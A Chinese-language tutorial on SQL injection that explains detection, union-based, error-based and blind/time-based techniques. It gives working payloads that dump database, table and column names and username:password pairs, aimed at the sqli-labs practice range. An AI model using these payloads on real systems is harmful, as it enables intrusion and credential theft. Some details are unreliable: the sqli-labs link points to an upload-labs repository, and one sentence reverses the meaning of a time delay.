數據庫注入攻擊
一、什么是數據庫注入攻擊。
服務端在接收來自客戶端的查詢參數后,未對查詢參數進行嚴格的過濾。導致惡意用戶可在查詢參數中插入惡意的sql語句來查詢數據庫中的敏感信息,最終造成數據庫信息泄露。
二、注入攻擊的分類。
按查詢數據的提交方式分為GET型注入和POST型注入。
按查詢數據的類型分為數值型注入和字符型注入。
按攻擊方式分為基於union聯合查詢的注入、基於報錯的注入、盲注(時間盲注、布爾盲注)
三、確定是否存在數據庫注入漏洞。
舉一個簡單的列子,當存在以下圖片中的查詢頁面時,測試輸入1得到返回結果,可以在url欄中發現提交的查詢參數id是以get提交方式發送給服務器的。
當我們測試輸入1' 時,返回結果如下圖。當服務端解析執行到 1' 時,觸發sql語法報錯並返回報錯信息,此時可以確定存在字符型注入漏洞,閉合符為單引號。並推測服務端的查詢語句為
"select user_name,user_id from users where user_id='$user_id' "
確定存在數據庫注入漏洞后,需要我們去閉合插入參數之后的sql語句,以下為常用的方法。
id=1' and '1'='1 //閉合后面剩下的 單引號
id=1'# //#為mysql中的注釋符,直接將后面的Sql語句注釋掉
id=1'%23 //%23 為 # 的url 編碼
小結:測試是否存在注入 id=1' id=1" id=1') 等等
四、數據庫注入攻擊方式的解析。
1,基於union聯合查詢的注入
當存在注入時,使用union聯合查詢查詢數據庫中信息的步驟:
(1)確定查詢字段。
//使用union select 確定字段數
id=1'union select 1,2,3..... and '1'='1
//使用order by確定字段數
id=1'order by 1 %23
(2)查詢當前數據庫名及數據庫信息。
id=1' union select version(),database()%23
(3)查詢數據庫中的表。
id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()'%23
//group_concat() 對一列數據做拼接,並自動以逗號分隔。
(4)查詢表中的字段信息。
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
(5)查詢表格數據。
id=1' union select 1,concat(username,0x7e,password) from users%23
//concat() 對數據進行拼接,默認不會添加分隔符。
2,基於報錯的Mysql注入
(1)floor() + rand() + group by 報錯
基礎知識:
floor(N) 函數,取小於等於N的最大整數。
rand() 生成[0,1) 之間的浮點數,當設置種子為N時,生成的隨機數是偽隨機的,多次生成的數都是固定的。如圖floor(rand(0) * 2) 函數生成的隨機數依次為0110110等等。
as alias_name,避免查詢復雜,將前面的語句取一個別名。
group by,按照查詢的某個字段對查詢結果進行分組。在分組時會新建一個空表,用於存放分組數據。
count() ,聚合函數,統計相同的元組個數。
報錯語句
select 1,concat(0x7e,(version()),0x7e,floor(rand(0)*2))as a from information_schema.columns group by a; // 0x7e 為符號 ~,用於分隔參數
//詳細原理分析,此處貼一鏈接:https://www.cnblogs.com/Triomphe/p/9489639.html
(2)基於 extractvalue(xml_str,Xpath) 函數的報錯注入
該函數使用Xpath表示法從XML 字符串中提取值,任意一個參數為NULL時,返回結果為NULL。當我們構造不符合規定的Xpath時,數據庫就會報語法錯誤並打印Xpath。
如查詢語句 select extractvalue(1,concat(0x7e,(database()),0x7e)); 執行結果報錯,打印出了當前數據庫名信息
(3)基於updatexml(xml,Xpath,new_xml) 函數的報錯注入
updatexml() 函數使用new_xml 參數根據Xpath來替換xml字符串中的內容,和extractvalue() 函數的原理一樣,插入錯誤Xpath,報錯打印數據庫信息。
如查詢語句select updatexml(1,concat(0x7e,(user()),0x7e),1); 執行后報錯,打印輸出了當前數據庫用戶為root
3,盲注
有時存在注入漏洞,但利用條件苛刻,需要插入更復雜的SQL語句進行注入。比如服務端執行SQL語句后,不會返回任何信息給客戶端 或者 只返回TRUE和FALSE 兩個值。這時就需要用到 時間延遲注入和布爾注入了,下面解釋這兩種注入方式的原理。
(1)bool 注入
當我們的查詢結果只返回TRUE 和 FALSE(對和錯)時,就需要我們對數據庫中的信息依次猜測並判斷,當我們猜測的信息正確時,服務端就會返回TRUE,否則返回FALSE。
如語句 select database(),10=length(database()) ,判斷當前數據庫名的長度是否為10,為真返回1,否則返回0。
布爾注入中,常用的Mysql 函數及語句
length(),返回字符串參數的長度。用於判斷數據庫名、表名、列名等信息長度。
substr(str,start[,length]),字符串截取函數,start為截取的起始索引(字符串索引從1開始),length為截取的長度。
mid(str,start[,length]), 字符串截取函數。
ascii(),返回字符的ascii 碼值。
limit 子句,用於限制查詢結果的返回數量,常用於分頁查詢,limit有1個或2個參數,查詢結果的索引起始為0
如limit 0,1 從返回的第1條記錄開始截取,共截取1條記錄。
如limit 2,3 沖返回的第3條記錄開始截取,共截取3條。
當報錯信息超過32位字符時,只顯示前32位字符,此時需要使用mid()和substr() 函數對信息進行截取,來獲取之后的內容。
(2)時間延遲注入
當提交查詢參數后,固定回顯某一信息或無回顯任何信息,此時無法判斷注入的SQL語句是否執行,執行是否正確。這就可以用到時間延遲注入了。時間注入可以說是在bool注入的基礎上加以利用的。我們依然是對數據庫中的信息依次猜測並判斷,如果猜測內容為真,則執行我們插入的sleep() 函數。
我們可以觀察瀏覽器的響應時間。當猜測正確時,我們提交的sleep() 函數會在服務端的數據庫上執行,這樣瀏覽器的響應時間就會有明顯的延遲,如果太大的延遲就說明猜測的內容錯誤。
列舉 sqli-labs 靶場中的 Less-9,無論id的值為什么,都顯示You are in.....,這時可以提交如下SQL語句猜測數據庫中的信息,並觀察瀏覽器的響應時間確認猜測的內容是否正確。
id=1' and if(8=length(database()),sleep(5),1) and '1'='1
可以看到瀏覽器正在等待服務器的響應,證明語句 8=length(database()) 為真,執行了sleep(5) 函數。
五,推薦
最后推薦sqli-labs 靶場,多練習注入漏洞,加深對漏洞的理解及利用。
sqli-labs:https://github.com/c0ny1/upload-labs